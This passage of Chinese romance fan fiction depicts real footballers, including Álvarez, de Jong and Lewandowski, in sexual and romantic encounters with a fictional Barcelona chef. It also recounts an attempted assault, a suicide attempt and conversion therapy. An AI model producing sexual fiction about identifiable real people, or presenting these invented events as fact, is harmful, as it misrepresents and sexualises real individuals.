克里奇利不知道怎么提醒他,这好,他自己悟出来了。 阿尔瓦雷斯本来也没喝多少,也就2瓶啤酒,之前的眼神迷离大部分是演的,他给克里奇利讲了以前的一些事。 巴尔克是他小师弟,以前青训时在一个宿舍住过,追过他,他没同意,于是也是像克里奇利讲的那个恐侗的丑八怪一样天天给他买好吃的好喝的,他都没要。 后来有一次,他得了流感,发着高烧还在训练,结果脸一白栽倒了,巴尔克那时长的就高大,背起他就去找队医,后来又嘘寒问暖了一段日子,他就勉强松了口,说那就从好朋友做起,但不许表现的太过亲密。 男孩子在外也要保护自己。 那时候阿尔瓦雷斯是情窦初开,可巴尔克已经混社会多年,他以为阿尔瓦雷斯同意了就是同意了做点什么。 于是他就半夜爬上了阿尔瓦雷斯的床,开始说自己白天训练太累怕掉下床去,趁机动手动脚,甚至急不可耐的压住了他的膝盖。 阿尔瓦雷斯吓坏了,一脚踢到他大腿内侧,把他给踢了个仰八叉。 巴尔克瞬间就变脸,恶狠狠地看着他,“你不是同意了吗,这不是正常的事儿吗?” “同意什么?我只是同意和你做朋友而已,就算是情侣,你也不能想怎样就怎样。” 两人好长一段时间不说话,后来阿尔瓦雷斯当上了队长,巴尔克又来认错说自己一时冲动,以后不会那样了,求他原谅自己。 阿尔瓦雷斯那时候比较青涩,踢球比他好,对兄弟朋友还是恋人这种感情还是有些模糊,毕竟才15、6岁。 巴尔克获得了原谅依旧不满足,他从阿尔瓦雷斯这里尝不到什么甜头不代表他不从别的地方找乐子。 他喜欢队长,队长也喜欢他,这就够了。 其他队员们知道他俩关系好,对他也言听计从,这就够他耍威风了。 他和社会上的小青年来来往往,结果在阿尔瓦雷斯回家期间把人带到宿舍里来,不巧阿尔瓦雷斯提前回来抓了个现行。 初恋总是美好而充满遗憾,可这根本算不上初恋,阿尔瓦雷斯终于明白巴尔克只是在利用他。 果不其然,过了一段时间巴尔克又回来跪在他面前求原谅。 吵得他直接搬到了隔壁恩佐费尔南德斯的宿舍。 结果巴尔克不乐意了,踢球处处针对恩佐费尔南德斯,以为是他抢了自己的队长男朋友,背后撞人下黑脚不说还纠集外面小混混趁放假外出堵恩佐,结果堵到阿尔瓦雷斯和恩佐一起逛街。 巴尔克不甘心,上前拽住阿尔瓦雷斯的衣服,求他原谅自己,口吻却咄咄逼人,他说:“你该不会这么快就变心了吧,是不是早就和他好上了。” 恩佐听了瞳孔暗了暗,咬肌微动,一把扯过阿尔瓦雷斯,刚要骂他你算个鸟啊,阿尔瓦雷斯就搂住恩佐的脖子,对巴尔克冷笑一声,“对,恩佐就是我的好朋友,比你好的那种,以后你再叫人来恐吓我们我就告诉教练,你去混社会就好,不用来踢球了。” 巴尔克败犬一样灰溜溜的夹着尾巴走了,就像今天一样。 “对不起。”阿尔瓦雷斯对恩佐道歉,“他利用我的感情,我也……” “没事,尽管利用我。”恩佐语气沉稳的回答他。 阿尔瓦雷斯讲到这,已经很晚了,他英语又不好,讲的磕磕绊绊的,但克里奇利听了个大概也听明白了。 他突然对阿尔瓦雷斯充满了好奇,还想再问问你和恩佐费尔南德斯后来好上了吗。 但是这也太八卦了,再说也不是他应该关心的范畴,他向来对处关系不感冒,不处就不会被卷进三角恋,也就不会有这么多麻烦事。 他说:“这种人远离他就好,不要再扯上什么关系。” “干嘛,帮助了我就可以说教我了?”阿尔瓦雷斯嘴角噙着让人捉摸不透的笑意,这会眼睛还亮晶晶的,像是打了个哈欠后的泪眼汪汪,接着攥起拳头打了克里奇利的肱二头肌,从我见犹怜的小哑巴秒变自来熟的小刺猬。 不让人说也不让人安慰,怪难为情的。 毕竟他差点又栽了一次,这次还是个大的,巴尔克一定会在第二天早上要挟他帮他留在马竞,不然后果不堪设想。 气氛一度陷入尴尬,阿尔瓦雷斯又举起了手,“我就不信赢不了你,这把我出剪刀!” 克里奇利笑笑,“好吧让你赢一把,我出布吧。” 本以为对方使诈,结果真的这么出了。 “我赢了!” 克里奇利摊摊手,说我没真心话,选大冒险吧。 “你敢亲我吗?” 阿尔瓦雷斯又装醉,说完抿了抿嘴唇,心脏狂跳不止,他不确定克里奇利会不会这么做,因为这一晚上他都保持正常的社交距离,甚至比在原俱乐部都要正经。 他亲眼见过,克里奇利亲过因受伤而被换下的格拉利什,还亲过赛后对板凳不稳大发脾气的德布劳内。 提出这个要求他又有点后悔,万一克里奇利不喜欢他,岂不是下不来台了。 他刚想笑着说算了不过是个玩笑,就被眼前高大男人的阴影笼罩,接着脖子一热就被他掌心覆着,指节收拢像握住一个酒瓶,没有浪漫的一点点逼近,也没有过度的眼神拉扯,让他看了一晚上的性感双唇就这么直接的印了过来。 唇齿之间,除了啤酒的麦香,那股清冽的海盐薄荷味儿直入阿尔瓦雷斯的鼻腔,颈侧的掌控让他无法改变姿势,还被他用大拇指顶起了下巴,将这个吻变得深入且极具碾压。 太他妈会了!不愧是顶A! 阿尔瓦雷斯被吻的头脑发懵,一时间忘了怎么回应。 结果被吻的更深更透,像是要把他舌头给卷过来吞了。 这时嗡嗡响了几声。 克里奇利手机来消息了。 本来他不想理,这小蜘蛛也太香了,他说他做过并且攻受皆可然而亲起来一点都不像,他害羞僵硬的很,吻技相当生涩。 可手机没完没了的震动,把阿尔瓦雷斯给惊扰了。 “你手机。”他指了指桌面。 克里奇利只好拿起来看,消息一个一个的蹦出来。 “我们4-0赢了!明天马德里一日游走起!”消息是助教恩斯里发的,接着他又收到了数条单线消息。 德容:“我们赢了!你去哪了?我的番茄意面在哪里?” 莱万:“看到哥进的那俩球了吗,就问你帅不帅!” 德容:“快点出现!别人做的我不吃!” 佩德里:“我饮料呢?不会又给德容喝了吧??” …… 他不在,后厨一团乱麻,因为这帮球星只认他。 第63章 “去照顾你…… “去照顾你那些嗷嗷待哺的巴萨宝宝们吧?”阿尔瓦雷斯被亲的有些凌乱,匆忙说着违心的话。 “难道你就不需要投喂吗?”克里奇利垂下眉眼,一边把手机调静音,一边向他的身体倾斜过去。 缩向角落的人已被他急促掠夺的湿吻给点燃,这时候你叫他怎么冷却。 再说,要是那边搞不定他也不会轻易翘班。 他都准备好了,一会不吃饿不死,快饿死了会吃的。 克里奇利把他逼退在长椅和墙面形成的角落,单用一只手就…… 很快,阿尔瓦雷斯都没想到竟然这么快。 快到他不可思议的看着眼前这个危险分子,?*? 玩游戏之前他还清冷的像一尊佛,现在却用颠大勺的手狠狠满足了他。 这会,他不出声了。 他把脸扭到一边,不给人看,偷偷从桌上抽了几张纸,克里奇利知道那不是用来擦眼泪的。 “是你让我亲你的。”克里奇利不要脸的本性露出来了,他也觉得很爽,说自己攻受皆可还主动索吻的可爱小蜘蛛竟然这么不经逗,有理由怀疑他根本就是个没经验的雏鸟。 “我让你亲,又没让你…” “不爽吗?”克里奇利手掌放在他大腿上,指尖像敲键盘一样轻轻点了点。 “……”除了咬住嘴唇,他也回答不出来,他不想说谎,刚才让他回巴萨那边就已经说谎了,说谎心里会不得劲。 “不爽的话再试试别的?” “别以为你比我大几岁就想当然的认为我是个可以被随意拿捏的bottom。” “哈哈哈,我必须承认你是个能攻能守能射门的全能型前锋,但是在我这,你需要学的太多了,首先,你要学会慢一点,忍住了。” “shit,你能忍给我忍个试试!”阿尔瓦雷斯一反乖巧的常态,突然袭击正在忍受煎熬却口出狂言的家伙。 结果手腕又被颠大勺的手给牢牢握住。 “走吧,带你吃夜宵,吃饱了才有力气。”克里奇利看了看时间,这个点巴萨的宝宝们也应该都吃饱了,没有短信轰炸他的了。 “不吃,回去。”阿尔瓦雷斯偷偷调整了一下让他不太舒服的裤子拉链。 “嗯?不饿吗?”克里奇利把手指插进他的手指里,重重的握了握,像处了很久的男朋友,再哄另一个想减肥又拒绝不了美食诱惑的男朋友。 “回去…吃。”他也用力回握了一下,“我想吃你做的虾仁炒饭。” “占我便宜,我今天都收工了。”克里奇利口是心非的回答,心里早就乐开了花。 往回走的路上,气氛有些沉默,因为阿尔瓦雷斯知道接下来要做什么,一直紧张的手心冒汗,不过是one night而已,没什么大不了的,也就是阴差阳错的在马德里遇见,要是他们还在曼城,说不定早就看对眼了。 不过那时候都干嘛去了,他想,怎么没早点体验这个有些粗粝却恰到好处的手掌所带来的震撼。 让他更为震撼的是脱了衣服把他勾在怀里一顿猛亲的怪兽,他怎么力气这么大,快把自己亲散架了。 “我说小狐狸,你要这样吻我,懂了吗?” “小狐狸?” “嗯,胡利用中文讲就是狐狸的发音。” “你怎么什么都会,连中文也…呜…” 眼前这个高大挺阔的男人,带着侵袭和熟稔的感觉,一边陪他说着话一边做着画风凛冽的事。 阿尔瓦雷斯早上睁开眼,看到浴室里的克里奇利还没走,他有点不想让他走。 开门进了浴室。 还没洗热水澡就透着红润光泽的脸颊让克里奇利感受到年轻人的冲击。 这一宿教会了他太多东西,他兴趣很高,学习努力,懂得学以致用还会加倍奉还。 而且这一宿他还试图反攻,好几次都用他那粗壮的大腿去别克里奇利的腰。 克里奇利严厉的制止他,他还委屈的不肯下去,说着你刚才就是这么别我的,让我试试呗。 “没有人可以试我。”克里奇利呼啦他的卷毛,掰过他肩膀,堵住他的嘴,不让他反驳自己。 没有人,那个家伙不是人,是雄狮。 让人敬仰并心甘情愿的臣服在他的爪子底下。 除了他,任何小动物都是要被端上桌的。 小蜘蛛不像蜘蛛那么可怕,有肉又饱满,还没什么毛,一根腿就能嗦很久,比帝王蟹的肉都多,一口下去鲜甜多汁谁懂啊! 浴室不大,两人站在喷头下面,都想要冲水以至于挨挨挤挤的各种碰撞。 碰来碰去就又激起了年轻人过度活跃的神经。 “你20几?”克里奇利低着头感到有点腰疼。 “24。” “赶紧处个对象吧。” “为什么?” “攒太久对身体不好,对临时cp也不友好。” “哈哈哈…要不你别太辛苦,转过去。” 克里奇利皱眉,让身位吗?他才不肯承认自己廉颇老矣。 “想什么呢,给你搓搓后背的泡沫。” 克里奇利笑笑,转了过去。 身后每一块肌肉都被小蜘蛛打上了泡沫揉搓了很久。 晒成小麦色不容易,他突然被洗烦了,转过来抓住他满是泡沫的手,把他压在身后的玻璃门上。 雾气弥漫的玻璃上印上了两双手印。 * “就这么睡一上午吧。” 克里奇利躺在他家柔软的大床上,已经筋疲力尽。 突然想起今天巴萨组织马德里一日游。 他不在酒店,算了,还是别去跟他们汇合了,一见到那帮大小伙子,一准被问昨晚怎么翘班了。 那个金发小脑袋里整天想着怎么霸占他,要是跟他说出去打猎了,他会利用队长特权,在群里给自己禁言,然后疯狂吐槽厨师长不镇住后厨到处乱跑,害大家没法点餐,只能吃提前备好的。 这种事也不经常发生,但会让克里奇利感到被领导约束的不爽感。 这要是让他知道和马竞的人有一夜,他那好胜心还不得和马竞的人比比谁更有活力。 “不如你睡够了,我带你在马德里转转好不好?” 阿尔瓦雷斯趴在他身上,慵懒的在他胸肌上画圈圈。 “也好,在你家呆一天可能比出去转一天更累,我还得给你做饭。来吧,给你炒饭吃。昨晚,心急的你都没吃上一口。” “你很美味呀!” 第64章 克里奇利和胡利安去…… 克里奇利和胡利安去了美术馆,巴萨队员也去了美术馆。巴萨是早去的,他们在不同的厅里,转来转去始终没遇上。 充满艺术气息的画作吸引着众人,他们看上去都想买一副名画搬回自己的豪宅,让自己看上去像个文人而不是糙汉。 懒得听讲解又不想买画的德容走着走着就掉队了,这时他突然看到分厅的一个熟悉的身影,高大挺拔,穿着一身灰色的西装,人模狗样的低着头看橱窗里的画,越看越像。 他突然跳出来猛的拍了那人的后腰,接着像在训练场一样跳着搂住了他的脖子,甜甜的叫了一声布莱恩。 克里奇利被吓了一跳,这个地方怎么还能有人闹他,舒缓的音乐和琳琅满目的画作让人心情舒缓,和有人狂奔到场边庆祝进球那是截然不同的心境。 他转过来时发现是德容时也就不怪他了,谁能跟顽皮任性的小金丝猴生气呢。 而德容这时候也看到了被他挡住的阿尔瓦雷斯。 德容的笑容凝固在脸上,大脑一时没转过弯来,刚要说你小子昨晚去哪了,但好像答案就在眼前。 他嘴巴动了动硬是没叫出那个人的名字。 不是不想打招呼,是一时懵住了没想起来,倒是害羞内向的阿尔瓦雷斯先喊出了他的名字,弗朗基德容! 德容的笑容渐渐消失了,但礼貌的手不得不伸了过去。他说,“嗨!胡利安阿尔瓦雷斯!”他还不至于迟钝到不认识马竞新引援的大满贯选手。 虽然这个赛季还没交手,以前也遇到过几次,都这么显眼,谁不认识谁呀! “既然你们认识,我就不过多介绍了。”克里奇利跟个局外人一样摊摊手,两个人看了他一眼握着的手好像突然被电了一下,迅速分开了。 德容接着板起脸来对克里奇利训斥道:“不参加集体活动到处乱跑你当马德里是家呢?” 胡林安心想,克里奇利在曼城都没有人敢训他,这可好,来巴萨还得受人白眼,于是他拉着克里奇利的胳膊说,你在巴萨不也是住酒店吗? “大丈夫四海为家。”克里奇利不怕事大的和小蜘蛛一唱一和给德容闹了个大红脸。 德容被怼感觉很不开心,他看着阿尔瓦雷斯的眼神,也觉得他们关系不一般,可能刚才看了太多人体艺术画作,甚至还脑补了他们的稞体动图。 算了,给他个面子,趁大部队还没有发现他和马竞的人鬼混在一起,先放他一马,不然下次打马竞赛前被开会一准是他。 愉快的马德里之旅结束了,可有人不太愉快。 等克里奇利回去了,给他“开会”的没有别人,只有德容一个人。 德容先是在群里说既然大家都是巴萨的人,就该把巴萨当成家,不要吃着碗里的看着锅里的! 大家都回复收到,克里奇利心想我又不是你的队员,我只是“巴萨一家人”里的后勤人员,还用不着200多人都回复收到吧。 但这句话明显是点他,算了,给小队长一个面子,代表餐厅回复一个又不会怎样。 他抱着肩膀在分餐口那里正在犹豫,这时耐不住性子的德容已经站在他面前。 德容拿着盘子质问他,“炒饭里怎么没有鱼子酱?不好吃。” 克里奇说好,那我给你换一份,他说你换的倒挺快的。 换了一份餐之后,莱万走过来对厨子说,一会儿健身去吧,厨子爽快的答应好啊。 接着回去换了衣服健身去了,气的德容只能干瞪眼。 小队长生气了,这几天都没有个笑容,搞得大家都胆战心惊的,有的时候犯错了,直接被他训的面红耳赤,连教练都纳闷了,德容最近怎么了?以前从不爱得罪人的,现在把我那份得罪人的活给抢了?妙哉。 德容看他和莱万最近走的挺近不是一起洗澡就是一起健身还给他包了波兰饺子。 明显的不爱搭理自己了。 他突然明白了感情就像沙子攥的越紧流失的就越快越多。 但他非想去抓这把沙子,哪怕在手心里停留一会儿也行。 在一个晚宴结束后德容把加班到深夜的厨子给堵在了路上。 克里奇利纳闷了,这一晚上他都没找自己说过话,大晚上的跑过来干嘛?难道是想约会? “别回酒店了,去我家。”德容拉着他上车。 还真是找他约会。克里奇利说我以为你都讨厌我了,怎么还… “是!我讨厌你没节操,没底线,到处乱播种,是个彻头彻尾的大尾巴狼。难怪那谁要甩了你。”后面那句说的很小声。 “那你为什么又让我去你家?” “我想跟你打一个赌,不知道你愿意不愿意。” “说来听听。” “到我家再说。” 克里奇利也是好奇心重,他本来也不讨厌德容,这样阳光帅气笑就爽朗大笑,怒就直戳痛处的直性子讲真他还挺喜欢的。 即便是吵架了过后也不记仇大家还是一团火,好兄弟,该给谁的直塞一点都不耽误。 对克里奇利的态度也是如此,喜欢的时候就勾过来说一句,你真他妈好,就知道我想吃这个。 生气的时候就狠狠的捏一把他的腰,愤愤地骂你个渣男又想马德里的小甜菜做个甜点能齁死人! 克里奇利心想到他家无非就是走个流程,走流程之前先和他说明白,不要对他有过分的期待,期待越大失望越大。 没想到德容对他说要跟他处关系一个月。 他有点难懂。 德容说如果在这段关系中,你能保证不和其他人乱搞我以后再也不找你麻烦,你说什么是什么,我绝不反驳,如果你做不到我就把你手脚吊起来摇晃你。 克里奇利没忍住噗嗤一声笑了,他说原来你口味这么重的,竟然喜欢这个,我看是你想被吊起来摇晃。 他说你放屁,接着就跳起来扑到他的身上,一下把他扑倒在地面,顺势坐在他的胸口上,用膝盖压住他两个手腕,居高临下的审视着他。 克里奇利被他这么凶狠的扑过来,一点防备都没有,后背重重的磕在了地板上,他喘着粗气试图翻身,竟然被他压的没有一点反抗的余地。 德容说反正你也做不到,不如现在就试试。 克里奇利说,赌什么,如果我能做到呢。 德容被他真诚的眼神给唬住了,慢慢放松了警惕,膝盖从他的手臂上移开,俯下身来看着他这张充满迷惑性的帅脸。 有些幼态的大眼萌叔而已。 他一掉以轻心,接着就被经验老道的厨子给颠了下去,翻身形成了反压。 反压的瞬间有些暴力,怕他后脑勺磕到硬瓷砖,温柔强大的男人还把自己厚重的手掌垫在了他那金发小脑袋后面。 德容躺在了柔软的掌心里,一句骂爹的脏话又咽了回去。 “我还没答应你到底和不和你赌,你就这么心急,唉,真的是年轻气盛啊,不过我喜欢。” 克里奇利把自己的衣服脱掉,准备先满足他以后再谈条件。 德容可不是为了这一顿快餐。 他说等等,我们可不可以先说说话。 克里奇利把他从冰凉的地上捞起来,拉着他的手来到窗边,月光映进来照在他平肩长颈上,如果不是男人,这可以盛水的锁骨和颀长的天鹅颈一定是个性感小野猫,可现在他站在那里,看上去有些失落。 “怎么了?谈什么?”克里奇利抬手抚摸他的脖子。 “你在搞类似集邮集章之类的游戏吗?就没想过安稳下来?你也会有老的一天,到那时候还到处开屏到处播种吗?” 刚谈崩了一场恋爱的他可没那么快又想谈恋爱,说到底他还是认为人活到40就行,死了就死了,别有什么放不下的。 如果有人放不下他,也不好,死了的又不知道,活着的更难受,所以及时行乐,及时止损,有什么不好。 他说:“千万别爱上我。一个月太长,我不敢赌。” 他看过一本杂志上写过这样一句话:一个月足以爱上一个人,而三个月就很难走出来了。 他和德布劳内谈了半年多,现在还没恢复好呢,还是会梦见他,那个把他从滥情调调里揪出来给他灌了一碗鸡汤教他长情和专一的人,最终因为现实的困境和一点点坏情绪不得不继续放任他。 每次想到这些他都感到胸口痛,吃止痛药无法缓解的那种。 德容突然拔高的声调把他的思绪拉了回来,顺带着还有手臂上传来的疼痛。 “嘶…” 一个厚重清晰的牙印落在了他的右小臂上,再狠一点就要出血。 “为什么!为什么不是我!别人都是找个替代品,你怎么跟别人不一样呢,我连替代品都不配吗?我是不是长的不,好,看!” 他微红的眼尾透着一丝不甘,说出的英语清晰板正还带着一点自嘲的语调,让克里奇利听的有点佩服荷兰人的语言天赋,就跟比人一样,真的是一个完美的替代品。 他虽然觉得他们很像,但从未想过让德容当替代品,他对德容说你从来不是谁的替代品,而且你很帅气。 德容金色小脑袋缓慢摇晃着,“你是不是跟…马竞那小子睡了!” 克里奇利抿了抿嘴唇,低头看了看那个牙印,又看了看他,还没等说什么,他就转身捡起地上的衣服,狠狠丢在克里奇利的身上,怒斥他,“滚!” 莫名其妙,让他来,说要跟他处关系,又因为别人吃醋,还叫他滚,这是什么操作,把克里奇利给惹怒了。 第65章 吃着碗里的看着锅里…… 吃着碗里的看着锅里的。 送到嘴边的不吃白不吃。 吃小动物和握手一样简单。 这些以前用惯了的道理怎么现在不能用了吗? 克里奇利不明白,不谈恋爱要写在脸上吗? 德容啊,你怎么是个恋爱脑呢。 德容骂他你个脑子有病的伪君子。 他拿上衣服回道:“不,伪君子太轻了,我是卑鄙无耻的混蛋,怎么你还要试试吗?” 德容上前一把抓住他的胳膊,把他扔在墙面上,抵住他的脖子质问道,“你总想要看看下一个是不是更好,难道有感情的ml是不对的吗?这太说不过去了!” “那是异性恋。” “去他的异性恋,根本就是你该死的偏见!”德容脸涨得通红,像极了他在场边气的跳脚的样子。 “我跟你说这些并不是因为我喜欢你喜欢的要命,是因为你他妈就是一个披着好皮囊的怪胎,打着gay的名义到处霍霍别人,根本不懂爱,也没有勇气去接受爱和被爱,可悲!” 德容话音落下,接下来便是相当长时间的沉默。 两个人面对面站着,克里奇利后背贴在门口的墙面上,清冷的眼尾没有任何感情流露。 德容也不知道接下来该怎么办,如果他就这样被自己骂走也挺没道理的,毕竟自己不是他什么人,如果非要扯上什么关系,就是一个单方面想要了解他的人,哪怕一个月也行。 “想听故事吗,弗兰基?”他突然打破了这份沉默。 “本来就想像朋友那样聊聊天,可你…总是在忙。” “那些故事太烂了,没人想听,也没人想讲。” “没关系,不要沉浸,说来听听,夜还很长。”德容突然语气温柔下来。 于是,看上去不温不火的男人把衣服扔在一边,懒洋洋的迈着步子走进主卧,像在自己家似的仰面躺在床上,双手交叠在脑后。 德容跟上来,也脱了衣服躺在他身边。 自然而然的贴近,朋友之上恋人未满的距离。 克里奇利从未想过要对谁解释自己的恋爱观,再哭诉自己有一个多么不幸的过去,这又不是什么可歌颂可标榜可以借此获得可怜悲悯的借口,他根本不需要。 也许是因为有人愿意听,又也许是他被戳到痛处,为了不把一切毁掉,卖个惨兴许能让德容觉得好过一点。 克里奇利犹豫的转过头来看他,那人正一脸期待的等着他讲故事。 “怎么了?需要一个亲亲才能讲吗?”德容觉得刚才自己又凶又拽可能吓到他了,于是乖巧的趴在他身边像个摇晃着尾巴等摸摸的小橘猫。 “呵…”克里奇利抬手捏了捏他有点泛红的耳尖,接着把他搂过来在他额头上轻轻一吻,像讲睡前故事一样开启了尘封已久的往事。 他说:“有一个13岁的小男孩,在房间里对着一本男模杂志发泄的时候被他爸撞破,于是带他去荒郊野岭打猎,说是要磨练他的男人血性,因为他死都不想养一个娘娘腔。” “那是一个寒冬,温度很低,刮着暴风雪,天地都连成一片,白茫茫的看不清什么方向。他爸非要让他穿过那片树林去打只什么动物回来,打不到就别回来。” “他出了门之后,风雪席卷而来,差点没被吹得背过气去。看着灰白的一片天和对面的深山老林,他越走越害怕。” “他想不会有事的。” “如果遇到什么事他爸会来救他的。” “脑子里想着这件事,在冰天雪地里走了不知道多久,也没有看到一个活物。” 讲到这,克里奇利低头看看怀里的人,那人一点困意没有,眨巴着蓝色的大眼睛正听的兴致勃勃。 “后来呢?”听故事的人忍不住催他。 “后来,他不小心跌进了一个雪窝,大雪把他淹没,他感觉快要窒息,爬了半天终于从雪窝里爬出来,但是脚崴了一下走不动了,也迷失了方向。” “他觉得自己要死在这里了。” “拖着冰冷的身体和受伤的脚,继续漫无目的的走,终于看到一个山洞。” “他走进去躲避风雪,等人来救他。不知不觉睡着了,醒来后天已经黑了,他再次感到绝望。” 讲到这他声音有些微微抖动,闭上眼睛似乎在品味什么。 “他怎么获救的?”德容很着急听到那个获救的场面,似乎克里奇利讲的慢点,那孩子就要多冻一秒。 “他迷迷糊糊失去意识之前好像听到了天使降临的声音。” “天使降临的声音?是什么声音?” “风吹过山洞的呼呼声。” “然后呢?” “然后他就不知道了。” “他死了?” “嗯。” “去你的!”德容显然对这个故事感到不满,伸手打了他胸脯一巴掌。 “一部电影而已,不要当真。” “滚。”德容转过去了,心里有点疼,他知道那不是电影,是一个少年心酸的过去。 “好吧,他没死。”克里奇利转过来伸长胳膊从身后搂住他,继续讲。 “他睁开眼睛时发现自己被一头熊抱着,吓的他本能的挣扎,抓住熊的围巾,那头熊竟然开口说话,它说孩子别怕,我是来救你的。” “又在骗人,熊哪有围巾。”德容把手覆在他的手背上,帮助他搂紧自己,说不沉浸,现在他好像变成了那个雪夜里的孩子。 “嗯,被你发现了。他以为那是头熊,因为那人有络腮胡,看着毛茸茸的。” “后来,他把我脱了塞进一个睡袋里,他也脱了钻进来,他真的是熊,浑身都…” “哈…”德容转过来,用惊喜的目光看着他,“你被熊睡了?” “我哪知道,我浑身都冻僵了,想钻进熊的身体里,他又厚重又温暖就是有点扎人。” “噢,你终于肯承认那人是你了。” 克里奇利没意识到,什么时候第三人称讲到第一人称了,他说,“用BC代替吧。” 他拒绝代入小时候,一定受了很大的心理创伤,现在讲起来就想讲一个故事一个电影片段,让德容听了感到窝心。 德容抬起下巴,亲吻了他有些干燥的嘴唇,想知道他那狠心的父亲有没有后悔。 “BC的父亲呢?一定哭死了。” “呵…谁知道呢。反正BC回到家时他父亲就开始时不时的离家出走,好像家对他来说就是个旅店,回来了也是无休止的争吵和欺骗。” “他妈妈呢?有没有安慰他?” “他妈妈是一个虔诚的基/督/徒,她说你要是这样病下去会下地狱的。” “噢不!” “你猜怎么着,BC想去地狱看看有没有帅哥。” “啊?”德容不敢听,他怕听到BC的刀子。 “他在洗手间割腕,但是没死成,他又一次听见天使降落的声音,这次是救护车刺耳的鸣笛和叮叮当当的金属碰撞的声音。他们把伤口缝好,但是没有治好BC的病。随后,BC被送进一个矫治中心,因为他母亲认为那里可以治好他儿子的病。” “可怜的BC。”听到这,德容摸了摸他的右手手腕果然摸到一条凸起的伤疤,难怪他总是穿长袖。德容把脸埋在了他的胸口,潮湿的触感不知道是两人拥抱在一起出了汗还是怎么,气氛变得越来越沉重。 “没事的。”克里奇利拍了拍他的后脑勺,叫他不要担心,那孩子命大活的好好的。 “他在矫治中心接受了电疗,冰疗,针疗…最后他和一个病友逃了出来。但是很不幸,又被社会收容机构找到了他们的家,送了回去。” “就这样好不容易混到了17岁,BC还是被赶了出来,确切地说,他也不想再呆下去,因为他可笑的爹已经明摆着出柜了,虽然他嘴上不承认,那些被他带进家门的什么同事,朋友,兄弟,牌友等又被BC翻炒了一遍。” “他爸忍无可忍,离开家的同时终于当了回父亲,他教育BC别结婚,否则打断他的腿,BC知道这个姓让他蒙羞。” “后来呢?”德容抬手摸他的下巴又摸他的胳膊,手忙脚乱看上去很想安抚他。 “后来真的遇到天使,一个中国老头,他竟然不嫌弃大冬天穿着破牛仔衣靠在垃圾桶旁边的脏孩子,还给他喝了他这辈子喝过最好喝的鸡汤。” “呼…”德容终于长吁了一口气,“你那个时代真的是太不进步了,不像现在,对这个群体包容度挺高的,一会给你看我的彩虹袖标。” “我才比你大几岁,还我那个年代,只是你是温室花朵,大人们手心里的宝,没过早经历这些,当然我也不希望你经历这些。” 德容捏着他的下巴,用怜悯的目光看着他,可他这张棱角分明的脸一点也不像柔弱的小白莲,平和的说着别人的故事一样揭开自己的伤疤。 “我是你的白熊。”德容说着翻身压在他身上,脸颊发烫,没什么别的安慰方式,手指伸进他半长不短的头发里,攥住他,亲吻他,大力揉搓他的头毛和耳朵,想要给他熊一样抱抱和安全感。 “嘿,我不需要同情,因为我不是娘娘腔。”他揪着德容的脖子像揪住熊的帽兜,把他提溜起来,轻笑着继续说,“你身上都没毛,还白熊,你就是一只喜怒无常还动不动就心软掉小珍珠的小猴子,看我怎么吃掉你的小猴脑,小猴爪,小猴叽…” 他还不至于编故事来骗小猴子肉吃,他本可以用充满攻击性爆炒一切的本事,让好奇心重的小猴子因被狠狠满足而全身绷的紧紧的。 但他还是讲了哄小猴子睡觉的睡前故事,还让小猴子误以为他是故作坚强的娘娘腔,那么,对不起了,听故事是要收费的。 他发誓不要做娘娘腔,最初他面对杂志的时候想的也不是委身于高大威猛的男人怀里,而是把高大威猛的男人摁在底下,告诉他们自己血气方刚,只是喜欢的恰好是男而已。 过后,德容看着他因情感交错而始终没有舒展开来的眉头,忍不住抬手想要摸。 却又停滞在了半空。 算了,自己出现的不是时候。 他就算学会了怎么去爱,也是一头自由的无惧风雪的独狼,死都不怕,还怕什么,自己何必给他枷锁,让他被认定为一个绝情的混蛋呢。 谁吃醋谁傻瓜,还是个大傻瓜! 第66章 德容不提和他处关系…… 德容不提和他处关系的事了。 因为他经不住考验,这一个月绝壁给他戴lv帽,让他自找苦吃,可不打赌就意味着摇晃不了他了,这成为德容心里难以割舍的秘密心结。 他想做却捞不着做的紧接着就亲眼看见了。 莱万把他亲密的健身搭子吊在健身单杠上,用松紧带绑住他两个脚踝腾空拉起,让他大腿往回发力,说是帮他拉伸大腿筋。 他说我拉伸大腿筋干嘛,我又不踢球。 莱万说你腿太瘦,拉伸一下有助于增加肌肉力量。 他问能不能一条腿一条腿的拉,两条腿都被你举起来,我万一掉下来摔后脑勺怎么办。 莱万说放心吧,这底下不是有垫子吗。 你要是坚持不了就说,主要是为了双腿强度均衡。 被莱万安排通透的克里奇利为了面子死撑着抓住单杠,大腿因往回收力而暴起青筋血管,手臂鱼型肌肉也极限隆起,看上去像在受某种极为痛苦的刑罚。 被莱万蹂躏的实惨,连叫声都好像被一下一下冲撞而断断续续冲出喉咙的英国俏厨子,把在一边摸鱼的德容看的嗓子都要冒烟了。 他想救他又不想。 “不行了不行了。”克里奇利终于松口,说再拉我真要掉下来了。 莱万还不舍得松开他,德容说,“行了,没有你这么欺负老实人的。” 下一秒,老实人就瘫在莱万身上,把他扑倒在垫子上了。 一个体脂率极低的壮汉仰面躺在垫子上,短裤被搓了上去,露出山脉一样的臀大肌。 一个汗流浃背浑身反光像刚出水的美男鱼,因胳膊无力负重直接零距离粘贴在那壮汉身上。 德容有一种飞身过去叠罗汉的冲动。 然而他只能忍着干渴默默走过去,把粘在一起的两个人强行拉开,顺带训了他们一句,“你们两个30多的老男人,还没长大吗?健身房禁止打闹,受伤了找挨批呢!” 看了不该看的,压着心火看到精彩的地方,过后又要恶语点评。 够了,最初就不该碰他,否则就会想要更多。德容现在看他和别人有一点过分的亲密动作,心火就要烧起来,要是处了关系肯定会被他虐的体无完肤。 凶完他们的德容暗骂自己是头猪,红着腮帮子离开健身房。 “他吃错药了?”莱万侧过头看着一脸汗水的克里奇利。 “不,他说的对,罗伯特,我工伤了。” 接下来,克里奇利因胳膊肌肉拉伤请假一周,他端不动锅了。 莱万推荐他去做筋膜刀,他拒绝了,说我为什么那么热爱上班,还得拿刀逼自己,好了,让我休息一周吧。 莱万觉得自己有不可推卸的责任,于是带着刀,还有伏特加酒去他住的酒店打算安慰他。 克里奇利把英俊又爱笑的巴萨头号射手请进门,对他说见谅,我这地方小,没什么招待你的,莱万说,我带了酒和下酒菜,顺便给你理疗。 他看到筋膜刀后脸色又白了几个度,快赶上莱万白了。 他说:“哥们,我生平最怕痛,?*? 所以酒可以乱喝,人也可以乱来,就是刀不能乱用。” 莱万举着蛇头一样的小钝刀,从他的胸前划到小腹,说:“我轻点,保证不会让你感觉到痛。” …… 克里奇利感觉自从他来到巴萨就一直被一双蓝悠悠的眼睛给监视着,现在看来,那不是监视,是视煎。 